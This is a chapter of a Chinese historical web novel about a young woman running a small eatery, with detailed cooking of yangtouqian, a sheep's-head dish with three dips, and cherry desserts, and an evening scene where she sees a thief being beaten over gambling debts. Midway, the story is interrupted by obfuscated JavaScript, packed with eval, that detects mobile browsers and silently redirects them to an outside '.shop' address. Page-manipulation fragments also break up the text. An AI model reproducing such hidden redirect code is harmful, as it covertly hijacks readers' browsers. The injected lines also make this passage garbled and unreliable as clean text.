姜稚鱼与三喜穿过小巷回到家里,临睡前收拾衣物时后知后觉发现她挂在腰间的荷包竟然不见了!
思及方才发生的事情,大概就是与那酒鬼撞上的时候被摸走了的!
任谁凭白少了银钱都会有些懊恼,姜稚鱼顾自懊恼生了一会儿闷气,随即深深吸了一口气,心里默念安慰自己——
罢了罢了……
事儿已发生,破财消灾!
也好在那里面也没放多少银钱……
次日清晨,姜稚鱼按照昨日想好的菜品购买食材时,在那羊肉摊位前,买好需要的羊肉后,瞧着那案上摆放的处理干净的羊头肉,不由想起以前在某本书籍里见过的说本朝有一道名菜——羊头签。
据传以“不修边幅,饮食粗粝”闻名的宰相王安石,有一道心头挚爱的菜便是这羊头签,且说其最爱在看书时食用,看一页书吃一串羊头签,颇有后世人们一边看剧一边吃零嘴的闲趣。
《旸谷曼录》亦有记载,“食品第一为羊头佥,菜品第一为葱虀”。
羊头佥便是羊头签,可见羊头签的地位和欢迎程度。
姜稚鱼当即买下羊头肉,兴冲冲回到店里,一跨进店内就逮着徐长宁询问,
“长宁长宁,你会做羊头签么?”
姜稚鱼自己只听闻过羊头签这道名菜大名,倒是没做过的。
徐长宁点头:“自然。”
“只是这道菜相比于其它签菜,更为繁复且只用脸颊两侧之肉的……”
这本是道奢侈的宫廷菜肴,只用两颊之肉其余部分是弃用的,其它部分的肉都不用倒是浪费了。
只取两颊之肉?
姜稚鱼略思索便道,“没事儿,你尽管做!”
徐长宁闻言系上围裙,净手后便手起刀落切下两颊部位的两块嫩肉,将其煮熟后切成均匀细丝,将羊肉丝加入调料香料拌匀。
将调好的馅料铺在展开的猪网油上,将其卷成细长的圆筒状,形似竹签。
两端封口,整体均匀挂上面粉调制的面糊,放入油锅,炸制外表金黄酥脆。
炸好捞出沥油,斜刀切成小段码入素白瓷盘内。
“店家,做好了,您尝尝?”
她将盘子摆放在姜稚鱼面前。
姜稚鱼闻言正要取来竹筷尝尝是何味道,不想此时有人掀帘而入,“姜娘子,外间怎地没人呢?”
是位熟客,还是位自她还是小食摊时就常来光顾的食客,这时她与徐长宁都在后厨做菜,三喜也在后厨收拾洗菜,食客外间未见着人自己就掀帘进后厨了。
“姜娘子,现在可有什么吃的么?”
今日来得早些,人家这儿貌似还没开始营业呢。
那人说着见着刚出锅的羊头签,转头望望外间并无食客,试探问,“这可是有食客点的菜么?”
“并未,这是刚试做的菜品,正准备自己先尝尝味儿……”
她准备自己先尝尝味道后续再正式推出来着。
“那敢情好!姜娘子这盘就先卖与我吧!”
“今日朝食都没能吃,正巧有现成的!可饿死我了……”
姜稚鱼抿唇笑回:“好嘞。”
食客闻言双眼微亮,不用人店家动手自己就上手端着那盘刚出锅的羊头签随意找了个位置落座了,一边吃得眼睛放光连连点头一边扬声问:“姜娘子!还有什么可尽快上的菜吗?再来几样!”
待姜稚鱼与徐长宁两人一同做好菜为那食客上完几道快手小菜后,见着那剩下的羊头肉,动手将其切开,放入锅内加入葱姜香料煮熟,取出晾凉,别骨取肉,切成薄片,在盘中码放整齐。
接下来调蘸料,姜稚鱼想了想,分别调了咸香的酱油蒜蓉泥料汁、茱萸花椒制成的辛辣料汁以及芝麻制成的胡麻料汁,三款不同口味的蘸料,如此,便称为“拌羊头三味碟”,待食客点了此菜后便将这三味碟一并上桌,可让食客一次尝遍三种不同蘸料。
做好后,姜稚鱼在心里为自己的脑袋瓜点了个赞,物尽其用又多了道应季凉菜。
因着夏季炎热的缘故姜稚鱼自己有时会有些没那么有食欲,琢磨着炖了些许山药粟米粥,待煮好晾凉后佐以脆爽的酱瓜或是其它什么凉菜,都是极好的开胃咸粥。
最终,姜稚鱼目光落在一旁篮子里红艳艳的樱桃上,便取来些做了樱桃乳酪,樱红小巧的樱桃点缀在冰镇的乳酪上,红白相印,盛在青瓷盏里很是亮眼。
所谓“雨过园亭绿暗时,樱桃红颗压枝低”,正是樱桃上市时节,市上很多卖花人都临时卖起了樱桃,今日这樱桃便是出门时赵蓉赠送与她的。
此时的姜记食肆外,一辆装饰华丽的马车路过。
近两日的裴夫人在自家府上都没多少胃口,便想着出门溜达一圈看看有没有什么合口的吃食,却在一家小食肆外见着有食客拿着些许眼熟的饮子。
那样式,有点像裴律之前从外面带回来的饮子……
马车在姜记食肆外停下,裴夫人扶着侍女的手下了马车,略一打量眼前这间小店,迈步走近。
姜稚鱼见着一贵夫人进店来,气质瞧着有些凌人,立马迎上前去,迎其落座,斟上茶水,俸上菜单笑问,“夫人万福,这是小店菜单,您看看想吃点什么呢?”
裴夫人接过菜单看了看,其中还有些比较陌生的此前没听过的菜名,也没点菜放下了菜单,语气平淡反问:“近日天热食欲下降,你这儿,可有什么开胃的菜肴?”
姜稚鱼闻言,精神一振,和她一样食欲不振的食客不就来了么?
“小店正巧今日有山药粟米粥,文火慢熬,山药小粥又最是养胃,夫人可搭配酱瓜或是其它小凉菜,很是开胃的……”
“至于其它菜品么,今日新上的拌羊头三味碟,搭配有三种不同风味的蘸料,咸香、辛辣加上胡麻香,任选其一或是皆尝均可,还有道羊头签,现炸的外酥里嫩,也是佐酒或是下粥的菜品。”
“那便你说的几样上上来尝尝,看看是不是当真如此。”
“还有你这是否有种叫茶乳酪的饮子?也来一份,要冰镇的……”
“好的,夫人稍等。”姜稚鱼记下菜品,转身回后厨。
待菜肴依次摆上桌来,裴夫人尝了尝默默点头,倒当真比近日多吃了不少,吃到最后示意侍女结账,还额外多给了些赏钱。
*
饭点过后闲隙时间,姜稚鱼望着那剩下的樱桃,挑选出饱满的樱桃仔细去核,先用梅子水煮开,捣碎之后用梅花型模具轻轻压成饼,最后淋上蜂蜜或是撒上白糖,如此一道红艳的形如花朵的樱桃煎既成。
姜稚鱼端着做好的樱桃煎走出,拿着块樱桃煎正要咬下,却见着周继明与裴律一前一后进店来,周继明一进来就大声询问,“姜娘子,今儿有什么好菜呢?”
得。
姜稚鱼望望手里的樱桃煎抿抿唇遗憾放下,招呼起两人来。
今日两人来得倒比平时早些。
待两人点好菜后,周继明今日还点了盅新进的酒。
待菜品上桌,两人一看,除了他们点的菜品外还多了一小碟红色艳丽的甜点,姜稚鱼笑着解释:“自己做的小食罢了,请裴郎君周郎君尝尝。”
显然这道樱桃煎是赠送的。
周继明惊喜不已:“多谢姜娘子!”
裴律亦点头致谢,“多谢姜娘子。”
姜稚鱼放下菜品离开,两人就着菜慢悠悠喝着小酒。
姜稚鱼终于得以坐下来,心满意足地拈起一块樱桃煎。
两人来时小店还未开始晚间的忙碌,待两人慢悠悠吃着小菜喝完酒时,小店幕食的忙碌都过了,姜稚鱼闲暇时还不时慢慢吃着那樱桃煎。
樱桃煎一入口,甜味蔓延,沁得眉眼微弯,显然很是喜欢……
*
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092731|195503||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夜间渐深,饭点已过。
姜记食肆里的三人便开始着手收拾店内,主要是打扫清洁,清点食材,也商量一下明日的菜品,一切整理完毕,熄灭灯火关店。
徐长宁与两人道别回家,姜稚鱼与三喜也相伴往家走去。
夜晚的巷子更为寂静。
临近巷子口时,两人隐约听着一阵嘈杂声,夹杂着男子的怒骂声,拳脚落在□□上的闷响,伴随着“没钱还敢赌”、“还钱”、“活腻了!”之类的属于男性粗鲁的谩骂声……
两人朝着自己家的方向走,不想却是越来越靠近声源处了,一转过拐角,便见着几个高大男人围着一个男人,那男人显然被几人打得没有还手之力,蜷缩在地上,随着身上拳头落下,发出因为痛苦的呻吟。
姜稚鱼与三喜隔着一段距离见着这一幕,心里一紧,停下脚步。
可这里是她们回家的必经之路,被他们几人挡住了。
听几人骂的内容,无非是赌债纠纷。
姜稚鱼蹙眉,观眼前的情形,也不知多久才能完事,姜稚鱼略一思索,拉着三喜就转身,“三喜,暮食吃了有些时辰了,饿了吧?我们再去吃点宵夜。”
“店家阿姐……”三喜拽了拽她的袖子,声音有些异样。
听着三喜出声叫她,还以为这孩子是见此情景有些不忍,姜稚鱼面无表情道:“赌徒而已,被教训不值得同情。”
“不是,我是说,那人好像是上次撞你的那人!”
“?”
那几人围着严严实实的,这孩子咋看见的?
“真的,我趁着那露出的间隙见着那人脸了,那道疤都一样。”
接着她感觉大快人心的道:“哼!真是活该!”
姜稚鱼:那还真是天道好轮回啊!
不过这是非之地,此时还是不可久留。
两人也没走多远,在街口就有两三家小摊点着灯火营业着,走近看了看,有一家卖糍糕的,有一家卖香饮子的,还有一家卖签盘兔和旋煎羊白肠的。
两人先在香饮子摊前买了解暑的紫苏饮,再买了两块豆沙馅的糍糕慢慢吃着,姜稚鱼也没想着买那旋煎羊白肠。
主要是吧姜稚鱼由于之前还在摆摊时那对面的旋煎羊白肠的摊主,弄得不她自觉地对那旋煎羊白肠有了点不好的印象。
就在路过那旋煎羊白肠摊位时姜稚鱼闻着一阵香味,循着香味望去,这阵香味竟是那旋煎羊白肠摊位传来的?
只见摊主将那乳白色的羊白肠,放在热铁鏊上,羊肠接触热油,随着滋啦一声响,表面泛起金黄的焦酥,随着煎烤那羊白肠微微弯曲,油脂被逼出香气四溢。
摊主见一小娘子正望着他这边,便热情招呼,“小娘子来点什么?旋煎羊白肠么还是签盘兔?”
姜稚鱼见摊主都招呼了,也就顺着话上前,打量摊位上那旋煎羊白肠。
焦香诱人,倒是与之前所见的有所不同。
摊位也收拾得整齐,与之前记忆中那邋遢摊位截然不同。
摊主顺着她目光所在,便问,“旋煎羊白肠,香得很!小娘子来一串?”
“先来两串吧。”
她见此倒想尝尝了。
“得嘞!”
摊主爽快应答,麻利地用竹签穿好煎得焦黄的羊白肠,递与姜稚鱼。
姜稚鱼接过刚出锅的旋煎白肠,凑近嘴边吹了吹,小心咬下一口,先是肠衣经煎烤后的带有嚼劲的脆感,接着是内里饱满的馅料在口中化开,带来浓郁满足的肉香……
这旋煎羊白肠竟是这般滋味么?
还挺好吃的!
原来只是之前她对面的那摊主做得不好罢了!
姜稚鱼与三喜都离开摊位了,吃完了有些意犹未尽又返回了摊位。
“摊主,再来两串旋煎羊白肠!”
“签盘兔也来一份!”